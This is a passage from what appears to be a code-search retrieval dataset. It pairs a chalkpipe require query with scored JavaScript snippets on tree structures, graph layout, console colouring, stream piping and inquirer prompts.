"7263c615a8ba6bdf164768b81cce408f", "score": "0.4529572", "text": "function maybeSplitRoot(node) {\n // Bail early if the current root is not overfull.\n if (node.width <= MAX_NODE_WIDTH) {\n return node;\n } // Create a new root branch node.\n\n\n var root = new BranchNode(); // Split the node to the right and create a new sibling.\n\n var next = splitNode(node); // Add the sizes to the root.\n\n root.sizes[0] = node.size;\n root.sizes[1] = node.size + next.size; // Add the children to the root.\n\n root.children[0] = node;\n root.children[1] = next; // Add the items to the root.\n\n root.items[0] = node.items[0];\n root.items[1] = next.items[0]; // Return the new root node.\n\n return root;\n }", "title": "" }, { "docid": "31b78356e567b862fc04e1090a2c20ae", "score": "0.45286256", "text": "bfs() {\n if (!this.root) { return undefined; }\n\n let queue = [];\n let tree = [];\n let node = this.root;\n queue.push(node);\n\n while (queue.length > 0) {\n node = queue.shift();\n tree.push(node);\n if (node.left) { queue.push(node.left); }\n if (node.right) { queue.push(node.right); }\n }\n return tree;\n }", "title": "" }, { "docid": "9015cddecbd2fa00dfba7963c1e76b8c", "score": "0.45269626", "text": "function networkSimplex(g) {\n g = simplify(g);\n initRank(g);\n var t = feasibleTree(g);\n initLowLimValues(t);\n initCutValues(t, g);\n\n var e, f;\n while ((e = leaveEdge(t))) {\n f = enterEdge(t, g, e);\n exchangeEdges(t, g, e, f);\n }\n}", "title": "" }, { "docid": "9015cddecbd2fa00dfba7963c1e76b8c", "score": "0.45269626", "text": "function networkSimplex(g) {\n g = simplify(g);\n initRank(g);\n var t = feasibleTree(g);\n initLowLimValues(t);\n initCutValues(t, g);\n\n var e, f;\n while ((e = leaveEdge(t))) {\n f = enterEdge(t, g, e);\n exchangeEdges(t, g, e, f);\n }\n}", "title": "" }, { "docid": "9015cddecbd2fa00dfba7963c1e76b8c", "score": "0.45269626", "text": "function networkSimplex(g) {\n g = simplify(g);\n initRank(g);\n var t = feasibleTree(g);\n initLowLimValues(t);\n initCutValues(t, g);\n\n var e, f;\n while ((e = leaveEdge(t))) {\n f = enterEdge(t, g, e);\n exchangeEdges(t, g, e, f);\n }\n}", "title": "" }, { "docid": "9015cddecbd2fa00dfba7963c1e76b8c", "score": "0.45269626", "text": "function networkSimplex(g) {\n g = simplify(g);\n initRank(g);\n var t = feasibleTree(g);\n initLowLimValues(t);\n initCutValues(t, g);\n\n var e, f;\n while ((e = leaveEdge(t))) {\n f = enterEdge(t, g, e);\n exchangeEdges(t, g, e, f);\n }\n}", "title": "" }, { "docid": "9015cddecbd2fa00dfba7963c1e76b8c", "score": "0.45269626", "text": "function networkSimplex(g) {\n g = simplify(g);\n initRank(g);\n var t = feasibleTree(g);\n initLowLimValues(t);\n initCutValues(t, g);\n\n var e, f;\n while ((e = leaveEdge(t))) {\n f = enterEdge(t, g, e);\n exchangeEdges(t, g, e, f);\n }\n}", "title": "" }, { "docid": "9015cddecbd2fa00dfba7963c1e76b8c", "score": "0.45269626", "text": "function networkSimplex(g) {\n g = simplify(g);\n initRank(g);\n var t = feasibleTree(g);\n initLowLimValues(t);\n initCutValues(t, g);\n\n var e, f;\n while ((e = leaveEdge(t))) {\n f = enterEdge(t, g, e);\n exchangeEdges(t, g, e, f);\n }\n}", "title": "" }, { "docid": "5c07e2ef9877edb465cd7735fefdc0e5", "score": "0.45001096", "text": "function makeSpaceForEdgeLabels(g){var graph=g.graph();graph.ranksep/=2;_.forEach(g.edges(),function(e){var edge=g.edge(e);edge.minlen*=2;if(\"c\"!==edge.labelpos.toLowerCase()){if(\"TB\"===graph.rankdir||\"BT\"===graph.rankdir){edge.width+=edge.labeloffset}else{edge.height+=edge.labeloffset}}})}", "title": "" }, { "docid": "2e110bc888c57009d3438257205394fe", "score": "0.44992757", "text": "function minNode(name, left, right, father) {\n this.name = name;\n this.left = left;\n this.right = right;\n this.father = father;\n}", "title": "" }, { "docid": "39f201bf7b80e33ae70c2f04ef0d3e63", "score": "0.44846156", "text": "function maybeSplitRoot(node) {\n // Bail early if the current root is not overfull.\n if (node.width <= MAX_NODE_WIDTH) {\n return node;\n }\n // Create a new root branch node.\n var root = new BranchNode();\n // Split the node to the right and create a new sibling.\n var next = splitNode(node);\n // Add the sizes to the root.\n root.sizes[0] = node.size;\n root.sizes[1] = node.size + next.size;\n // Add the children to the root.\n root.children[0] = node;\n root.children[1] = next;\n // Add the items to the root.\n root.items[0] = node.items[0];\n root.items[1] = next.items[0];\n // Return the new root node.\n return root;\n }", "title": "" }, { "docid": "7ee0f8c710fb6fdee3fab71a534760c0", "score": "0.44822192", "text": "toJSON (src) {\n if (!src) src = this.root\n let dest = new Node(src.obj, src.dimension, null)\n if (src.left) dest.left = this.toJSON(src.left)\n if (src.right) dest.right = this.toJSON(src.right)\n return dest\n }", "title": "" }, { "docid": "519eb36e0282e35c53b9a590119a59a6", "score": "0.44789073", "text": "nextLarger(lowerBound) {\n if (!this.root) return null;\n\n const toVisitQueue = [this.root];\n let closest = null;\n\n while (toVisitQueue.length) {\n let currentNode = toVisitQueue.shift();\n let currentVal = currentNode.val;\n let high = currentVal > lowerBound;\n let reassignClosest = currentVal < closest || closest === null; \n \n if(high && reassignClosest){\n closest = currentVal\n }\n\n if (currentNode.left) toVisitQueue.push(currentNode.left)\n if (currentNode.right) toVisitQueue.push(currentNode.right)\n }\n\n return closest;\n }", "title": "" }, { "docid": "48ba3546d2d0c571809b63f8298a4475", "score": "0.44748175", "text": "function maybeSplitRoot(node) {\r\n // Bail early if the current root is not overfull.\r\n if (node.width <= MAX_NODE_WIDTH) {\r\n return node;\r\n }\r\n // Create a new root branch node.\r\n var root = new BranchNode();\r\n // Split the node to the right and create a new sibling.\r\n var next = splitNode(node);\r\n // Add the sizes to the root.\r\n root.sizes[0] = node.size;\r\n root.sizes[1] = node.size + next.size;\r\n // Add the children to the root.\r\n root.children[0] = node;\r\n root.children[1] = next;\r\n // Add the items to the root.\r\n root.items[0] = node.items[0];\r\n root.items[1] = next.items[0];\r\n // Return the new root node.\r\n return root;\r\n }", "title": "" }, { "docid": "fc392edcd51e73fb72c24621fc0f0e15", "score": "0.44703665", "text": "function networkSimplex(g) {\r\n g = simplify(g);\r\n initRank(g);\r\n var t = feasibleTree(g);\r\n initLowLimValues(t);\r\n initCutValues(t, g);\r\n\r\n var e, f;\r\n while ((e = leaveEdge(t))) {\r\n f = enterEdge(t, g, e);\r\n exchangeEdges(t, g, e, f);\r\n }\r\n}", "title": "" }, { "docid": "ae84e62525aea17f7b1ac8b7d1dda4e6", "score": "0.44640043", "text": "nextLarger(lowerBound) {\n //if the root is empty then return null since no higher value exists\n if(!this.root) return null;\n\n //\n let queue = [this.root];\n let closest = null;\n\n while(queue.length){\n let currentNode = queue.shift();\n let currentVal = currentNode.val;\n let higherThanLowerBound = currentVal > lowerBound;\n let shouldReassignClossest = currentVal < closest || closest === null;\n\n if(higherThanLowerBound && shouldReassignClossest){\n closest = currentVal;\n }\n if(currentNode.left) queue.push(currentNode.left);\n if(currentNode.right) queue.push(currentNode.right);\n }\n return closest;\n }", "title": "" } ]
5455271e40b14b6126b15e4eb41ec9bc
const chalkPipe = require('chalkpipe');
[ { "docid": "7d8797a5049c24e22bc0170190c96261", "score": "0.0", "text": "async function functionList() {\n const answer = await inquirer\n .prompt(\n {\n type: 'list',\n name: 'functions',\n message: 'What function do you want to call?',\n choices: [\n 'createCar',\n 'transferCar',\n new inquirer.Separator(),\n 'lease',\n 'endLeases',\n 'scrapCar'\n ]\n }\n );\n console.log(answer)\n return answer;\n \n}", "title": "" } ]
[ { "docid": "d42b5fa7249907ca2aa1390e3f599b19", "score": "0.5651573", "text": "function greenMessage(text) {\n console.log(chalk.green(text) + \"\\n\");\n}", "title": "" }, { "docid": "d42b5fa7249907ca2aa1390e3f599b19", "score": "0.5651573", "text": "function greenMessage(text) {\n console.log(chalk.green(text) + \"\\n\");\n}", "title": "" }, { "docid": "7777abdf4af80c99a6576e7a3a45a944", "score": "0.5333476", "text": "function Pipe(sink) {\n\t this.sink = sink;\n\t}", "title": "" }, { "docid": "c7067df0dd9b6ca797383c7409d494b9", "score": "0.5217605", "text": "function PipeDecorator() { }", "title": "" }, { "docid": "c7067df0dd9b6ca797383c7409d494b9", "score": "0.5217605", "text": "function PipeDecorator() { }", "title": "" }, { "docid": "2320c64b8ebc3722c19e37d5800eea0c", "score": "0.5209801", "text": "function green(str) { return '\\033[32m' + str + '\\033[0m'; }", "title": "" }, { "docid": "ff5e22882c19982dc29f3910fc06c719", "score": "0.5123181", "text": "function blue (string) {\n return chalk.blue(string)\n}", "title": "" }, { "docid": "87338fe22e511e2c7274b798ee3b11ea", "score": "0.5110987", "text": "function out(msg) {\n\tSystem.Console.WriteLine(msg);\n}", "title": "" }, { "docid": "7b1733280d170faf2a4d55912a215997", "score": "0.50875735", "text": "function ringBell() {\n process.stderr.write(\"\\x07\");\n}", "title": "" }, { "docid": "508cfbd80cd4ca83373b61722bc4a862", "score": "0.5079632", "text": "function pipe () {\n if (char === '|') {\n // move past the pipe\n next()\n\n // move past the space after it, if there is one\n if (char.match(/[^\\S\\n]/)) next()\n\n // grab all the text contents\n let content = collectUntil('\\n')\n\n // if the next !non-.match(recter is a pipe, add a newline\n const nextNonSpace = lookFor(/([^\\s])/)\n if (nextNonSpace && nextNonSpace[1] === '|') content += '\\n'\n\n addToken('text', content)\n }\n }", "title": "" }, { "docid": "7c7f7ddfb4d22bdfe6f6ae08686e1ff5", "score": "0.50531137", "text": "stdout(text) {\n if (this.echo) {\n this.print('stdout ', text, colors.stdout);\n }\n }", "title": "" }, { "docid": "9ad2f0d9b3d1662466476ab8b7e80289", "score": "0.50335187", "text": "function transform() {\n console.log('============ transform ============');\n\n process.stdin\n .pipe(through2(function (buffer, encoding, next) {\n this.push(buffer.toString().toUpperCase());\n next();\n }, function (done) {\n done();\n }))\n .pipe(process.stdout);\n}", "title": "" }, { "docid": "0b15806745430b971e853f7f6efe5976", "score": "0.49654004", "text": "static commands() {\n return [\n //\n ];\n }", "title": "" }, { "docid": "f4dc355b54cd04667cd9cdbd1cd1eb48", "score": "0.49422392", "text": "function ansi (stream, options) {\n if (stream._ansicursor) {\n return stream._ansicursor\n } else {\n return stream._ansicursor = new Cursor(stream, options)\n }\n}", "title": "" }, { "docid": "f4dc355b54cd04667cd9cdbd1cd1eb48", "score": "0.49422392", "text": "function ansi (stream, options) {\n if (stream._ansicursor) {\n return stream._ansicursor\n } else {\n return stream._ansicursor = new Cursor(stream, options)\n }\n}", "title": "" }, { "docid": "f4dc355b54cd04667cd9cdbd1cd1eb48", "score": "0.49422392", "text": "function ansi (stream, options) {\n if (stream._ansicursor) {\n return stream._ansicursor\n } else {\n return stream._ansicursor = new Cursor(stream, options)\n }\n}", "title": "" }, { "docid": "29d6906140117d267d9013386a768f6b", "score": "0.49372754", "text": "function green (string) {\n return chalk.green(string)\n}", "title": "" }, { "docid": "4fc14005606024d47534f837bfdc2ff8", "score": "0.4936708", "text": "console() {\n Bot.addConsoleCommand(\"bot\", Bot.translate(\"plugins.bot.consolecommanddesc\"), (args, callback) => {\n Bot.log(Bot.translate(\"plugins.bot.consolecommand\"))\n callback();\n });\n }", "title": "" }, { "docid": "1af111167f7be7236cf4c5b2b699ca44", "score": "0.4916941", "text": "function ConsoleMessagePrinter(deps) {\n return {\n print: function () {\n console.log(deps.messageSource.message());\n }\n };\n}", "title": "" }, { "docid": "f6f60888b43c69f78d1d6e0ddd7aeaf0", "score": "0.48892486", "text": "function pipe() {\n var pipes = [];\n for (var _i = 0; _i < arguments.length; _i++) {\n pipes[_i] = arguments[_i];\n }\n return new Pipe(pipes);\n}", "title": "" }, { "docid": "e143ae0f2ca1a3858d3d8440861e44da", "score": "0.48887864", "text": "horizontalLine(color) {\n\n // Get the available screen size\n const width = process.stdout.columns;\n\n // Put in enough dashes to go across the screen\n let line = '';\n for (let i = 0; i < width; i++) {\n line += '-';\n }\n if (color) console.log(color, line);\n if (!color) console.log(line);\n\n }", "title": "" }, { "docid": "d70b0357a561ef7084d91f06c8182d10", "score": "0.4868919", "text": "function output(style, ...value) {\n const styled = value.shift();\n return console.log(chalk[style](styled), ...value);\n}", "title": "" }, { "docid": "19068c28690baceb5ffa5c22cf1a4101", "score": "0.48588985", "text": "addTailCommands(commit, ...commands) {\n console.log('addTailCommands');\n commands.forEach(command => commit.gitCommands += ('\\n ' + command));\n return commit;\n }", "title": "" }, { "docid": "e7bfa6358ff9697055f36e587416b309", "score": "0.4850797", "text": "function _log(msg) {\n console.log(chalk.yellow('>> ') + msg);\n}", "title": "" }, { "docid": "008e9ed445ba0d83dc8c3da5ea22dfb5", "score": "0.4849154", "text": "verysubtle () {\n console.log(this.COLORS.verysubtle(this.joinArguments(arguments)))\n }", "title": "" }, { "docid": "b87b60268d405218d97e8dd75a722496", "score": "0.48382798", "text": "function example() {\n\t var rl = __webpack_require__(237);\n\t rl.createInterface({\n\t path: \"/tmp/history\",\n\t maxLength: 1234,\n\t input: process.input,\n\t output: process.output,\n\t next: function(rli) {\n\t rli.setPrompt(\"? \");\n\t rli.prompt();\n\t rli.on('line',function(line) {\n\t console.log(\"Got line \"+line);\n\t rli.prompt();\n\t });\n\t }\n\t });\n\t}", "title": "" }, { "docid": "c0895677dccb058778dc2df05e649617", "score": "0.48221105", "text": "setup()\n {\n const readline = require(\"readline\").createInterface({\n input: process.stdin,\n output: process.stdout\n });\n return readline;\n }", "title": "" }, { "docid": "8cb531d7953da3ad5ed52fdf22dcff8b", "score": "0.48155123", "text": "horizontal_line(){\n //get width of terminal;\n var width = process.stdout.columns;\n var out = \"\";\n for(var i = 0;i<width;i++){\n out+=\"-\";\n }\n console.log(out);\n }", "title": "" }, { "docid": "1dd0054539ce480d8defc228cc7f1fc2", "score": "0.48108244", "text": "subtle () {\n console.log(this.COLORS.subtle(this.joinArguments(arguments)))\n }", "title": "" }, { "docid": "495fdc76d97192bd04c8afabb6123266", "score": "0.47964233", "text": "function logIt(msg: string) {\n console.log(chalk`{dim [devit]} ${msg}`);\n}", "title": "" }, { "docid": "e58e075038c23073e207e2978a760eb1", "score": "0.47827846", "text": "log () {\n console.log(this.COLORS.log(this.joinArguments(arguments)))\n }", "title": "" }, { "docid": "1f75569155e5fc6250e2ec2dcdb206c4", "score": "0.47814047", "text": "function pipe() {\r\n\tvar input\r\n\tfor (var i = 0; i < arguments.length; i++) {\r\n\t\tvar pb = new java.lang.ProcessBuilder(arguments[i].split(' '))\r\n\t\tvar p = pb.start()\r\n\t\tif (i > 0) {\r\n\t\t\tvar output = p.getOutputStream()\r\n\t\t\tconnect(input, output)\r\n\t\t}\r\n\t\tinput = p.getInputStream()\r\n\t}\r\n\tvar ret = new java.lang.StringBuilder()\r\n\tvar br = new java.io.BufferedReader(new java.io.InputStreamReader(input))\r\n\tvar s\r\n\twhile ((s = br.readLine()) != null) {\r\n\t\tret.append(s).append(java.lang.System.lineSeparator())\r\n\t}\r\n\treturn ret.toString()\r\n}", "title": "" }, { "docid": "ba9bd317d17086ec9cbc5f320b89c7db", "score": "0.47759578", "text": "stdin(text) {\n if (this.echo) {\n this.print('stdin ', text, colors.stdin);\n }\n }", "title": "" }, { "docid": "eafc3349ec2f477a89d4e09eac396d9d", "score": "0.4741711", "text": "function useColors() {\n\t return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n\t}", "title": "" }, { "docid": "64cd178bab7fdf5d8365368b17ae7b34", "score": "0.47284597", "text": "function log(key, msg) {\n console.log(chalk.bold(key) + ' : ' + chalk.cyan(msg));\n}", "title": "" }, { "docid": "34ca30022bae272e4c187a52cf8a9b16", "score": "0.47092566", "text": "function welcome(){\n var name = readlineSync.question(\"What's your name? \")\n console.log(chalk.red(\"Hello,\",name,\"Welcome to \\\"HOW WELL DO YOU KNOW ANKIT\\\" \"))\n console.log(\"____________\")\n}", "title": "" }, { "docid": "98adca9f3265c22c1c883c4bd90458f3", "score": "0.47079223", "text": "log(message, reset) {\n if(reset) {\n process.stdout.clearLine()\n process.stdout.cursorTo(0)\n process.stdout.write(message)\n }\n else console.log(message)\n }", "title": "" }, { "docid": "61265d554c737edbbad58a7e592076d5", "score": "0.47047603", "text": "function Sink() {}", "title": "" }, { "docid": "af6a8037e873a857fa82dcb29c388796", "score": "0.4699361", "text": "function cyan(text) {\n return '\\x1b[36m' + text + '\\x1b[0m';\n}", "title": "" }, { "docid": "b20d9c6c9bafce78bbcef284b85b60cd", "score": "0.46942922", "text": "toText() {\n return this.commands.join(\"\\n\");\n }", "title": "" }, { "docid": "8a450d097d4eaa8e46e94ac091e0dd37", "score": "0.46853593", "text": "[PIPE] (job) {\n job.piped = true\n\n if (job.readdir)\n job.readdir.forEach(entry => {\n const p = this.prefix ?\n job.path.slice(this.prefix.length + 1) || './'\n : job.path\n\n const base = p === './' ? '' : p.replace(/\\/*$/, '/')\n this[ADDFSENTRY](base + entry)\n })\n\n const source = job.entry\n const zip = this.zip\n\n if (zip)\n source.on('data', chunk => {\n if (!zip.write(chunk))\n source.pause()\n })\n else\n source.on('data', chunk => {\n if (!super.write(chunk))\n source.pause()\n })\n }", "title": "" }, { "docid": "8a450d097d4eaa8e46e94ac091e0dd37", "score": "0.46853593", "text": "[PIPE] (job) {\n job.piped = true\n\n if (job.readdir)\n job.readdir.forEach(entry => {\n const p = this.prefix ?\n job.path.slice(this.prefix.length + 1) || './'\n : job.path\n\n const base = p === './' ? '' : p.replace(/\\/*$/, '/')\n this[ADDFSENTRY](base + entry)\n })\n\n const source = job.entry\n const zip = this.zip\n\n if (zip)\n source.on('data', chunk => {\n if (!zip.write(chunk))\n source.pause()\n })\n else\n source.on('data', chunk => {\n if (!super.write(chunk))\n source.pause()\n })\n }", "title": "" }, { "docid": "99157f1ddb45b13a3f32b359673f330a", "score": "0.4677393", "text": "async function printDeathNote() {\n // speak transition line\n console.log('\\n');\n console.log(chalk.red(player.notes));\n console.log('\\n');\n}", "title": "" }, { "docid": "bb8656a1fb840d97013f4b19c08560b8", "score": "0.46742344", "text": "function useColors() {\n return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "bb8656a1fb840d97013f4b19c08560b8", "score": "0.46742344", "text": "function useColors() {\n return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "bb8656a1fb840d97013f4b19c08560b8", "score": "0.46742344", "text": "function useColors() {\n return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "bb8656a1fb840d97013f4b19c08560b8", "score": "0.46742344", "text": "function useColors() {\n return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "bb8656a1fb840d97013f4b19c08560b8", "score": "0.46742344", "text": "function useColors() {\n return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "bb8656a1fb840d97013f4b19c08560b8", "score": "0.46742344", "text": "function useColors() {\n return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "bb8656a1fb840d97013f4b19c08560b8", "score": "0.46742344", "text": "function useColors() {\n return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "bb8656a1fb840d97013f4b19c08560b8", "score": "0.46742344", "text": "function useColors() {\n return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "bb8656a1fb840d97013f4b19c08560b8", "score": "0.46742344", "text": "function useColors() {\n return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "bb8656a1fb840d97013f4b19c08560b8", "score": "0.46742344", "text": "function useColors() {\n return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "bb8656a1fb840d97013f4b19c08560b8", "score": "0.46742344", "text": "function useColors() {\n return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "bb8656a1fb840d97013f4b19c08560b8", "score": "0.46742344", "text": "function useColors() {\n return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "bb8656a1fb840d97013f4b19c08560b8", "score": "0.46742344", "text": "function useColors() {\n return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "2e057bf099f3d67fc9f7172022a7f367", "score": "0.46358404", "text": "prompt() {\n this.terminal.write(`\\\\r\\\\n$ `);\n }", "title": "" }, { "docid": "6bd8fc0a35098ebf15a3edd793f08b33", "score": "0.4617524", "text": "output (...msg) {\n log.clearProgress()\n // eslint-disable-next-line no-console\n console.log(...msg)\n log.showProgress()\n }", "title": "" }, { "docid": "4064446289f83b642943d397d7bf2a94", "score": "0.45973244", "text": "function logText(text) {\n process.stdout.write(`${chalk.gray(moduleName)} ${text}\\n`);\n}", "title": "" }, { "docid": "b9304904d649fbce5160f05750dd56c4", "score": "0.4556052", "text": "function hr() {\n return ' \\033[90m' + Array(cols - 4).join('─') + '\\033[m';\n}", "title": "" }, { "docid": "f300e2a9dea7f35b165380dfc14508ad", "score": "0.4548388", "text": "function getDefs(chalk) {\n return {\n keyword: chalk.cyan,\n capitalized: chalk.yellow,\n jsx_tag: chalk.yellow,\n punctuator: chalk.yellow,\n // bracket: intentionally omitted.\n number: chalk.magenta,\n string: chalk.green,\n regex: chalk.magenta,\n comment: chalk.grey,\n invalid: chalk.white.bgRed.bold,\n };\n}", "title": "" }, { "docid": "fe902c37b60b9d6002f434a2f5dfea69", "score": "0.45436162", "text": "write(text) {\n const textFormatted = text.replace(/\\{\\{(loc|item|actor|command|victim)\\:(.*?)\\}\\}/g, function(match, type, contents) {\n // Get the colour set as an array\n let colourSet = colours[type];\n if (typeof colourSet === 'number') colourSet = [colourSet];\n // Wrap the contents with the colour set\n for (const colour of colourSet) {\n contents = `\\u001B[${colour}m${contents}`;\n }\n return contents + '\\u001B[0m';\n });\n\n // Write the contents to the output\n console.log(textFormatted + '\\n');\n }", "title": "" }, { "docid": "f70d7375a2be8ec5299a0c16cab9b462", "score": "0.45349264", "text": "function thanksNote()\n{\n console.log(chalk.magentaBright(\"\\nThanks for taking up the quiz. Hope you enjoyed it...\") + chalk.bold.hex(\"#0D64FC\")(\"\\nIntention was to let you know few things of Environment, \") + chalk.hex(\"#FF3333\")(\"Not to judge You!\") + chalk.underline.red(\"\\nGlobal Warming is REAL,\") + chalk.greenBright(\" Start taking small steps to save the Mother Earth\"));\n}", "title": "" }, { "docid": "8667b9f0481fdc030ebfc82845fcdd54", "score": "0.45285246", "text": "prepare() {\n this.eachProcess((proc) => {\n let output = stream(this.logPath(`${ proc.name }.${ this.env }.log`))\n defineProp(proc, 'output', output)\n output.open()\n })\n }", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "4985d83c67c8e9785aefbe56b8f83dfa", "score": "0.45214382", "text": "function useColors() {\n return 'colors' in exports.inspectOpts\n ? Boolean(exports.inspectOpts.colors)\n : tty.isatty(process.stderr.fd);\n}", "title": "" }, { "docid": "fe3289044bdb190600cf972f05a49adf", "score": "0.45208046", "text": "function stdout(text) {\n result = text;\n }", "title": "" }, { "docid": "d028cfef5c4d5070aa8877950f6f2af4", "score": "0.4519538", "text": "function pipe(functions) {\n\n}", "title": "" }, { "docid": "ce24548f53fa00ce3f56a8e63bc68cf5", "score": "0.4518592", "text": "function madLib(){\r\n let i = 0\r\n process.stdout.write(\"We shall \")\r\n process.stdout.write(arguments[i++].toUpperCase())\r\n process.stdout.write(\" the \")\r\n process.stdout.write(arguments[i++].toUpperCase())\r\n process.stdout.write(\" \")\r\n process.stdout.write(arguments[i++].toUpperCase())\r\n}", "title": "" }, { "docid": "f94971287995ed60eefe5102cdafdef8", "score": "0.45165908", "text": "function convertPipeline(match) {\n const matches = match.split(' | ');\n let result = matches[0];\n for (let i = 0; i < matches.length - 1; i++) {\n result = `${matches[i+1]} (${result})`;\n }\n return result.replace(/ -\\w+/, '');\n }", "title": "" }, { "docid": "5f6e4e0253e82b622a3946f3554d7e3e", "score": "0.45093912", "text": "function outpipeTemplate(str) {\n var value = str.trim();\n if (value.charAt(0) === \"|\" || value.charAt(0) === \">\") {\n return template_1.template(`${ECHO_CMD} ${value}`);\n }\n return template_1.template(value);\n}", "title": "" }, { "docid": "58ea72354b9635edd7d6019c5f4d5f0c", "score": "0.45043874", "text": "function PipeType() {}", "title": "" }, { "docid": "c7a0186da4b30ac0b9fa0e77a88a84ed", "score": "0.45014086", "text": "constructor (chunker, polisher, caller) {\n super(chunker, polisher, caller)\n this.carriageReturn = String.fromCharCode(10)\n }", "title": "" }, { "docid": "106ac8c3e92a5f87b381975e29db3020", "score": "0.4500054", "text": "function title(){\n\tconsole.log(chalk.green(figlet.textSync('FaceBook CLI', { horizontalLayout: 'fitted' })));\n}", "title": "" }, { "docid": "fe3e12d66149ce338a0c35e6f96275c9", "score": "0.44897166", "text": "function pipeable(fn) {\n var data = '';\n\n process.stdin.setEncoding('utf8');\n process.stdin\n .on('readable', readable)\n .on('end', function(){\n withPipe(data);\n });\n\n function readable(){\n var chunk = process.stdin.read();\n if (null === chunk) {\n withoutPipe();\n } else {\n data += chunk;\n }\n }\n\n // this passes file data\n // $ ./b.js < ./a.js\n // this pipes a to b\n // $ ./a.js | ./b.js\n // this doesn't work (replaces b with a)\n // $ ./a.js > ./b.js\n function withPipe(data) 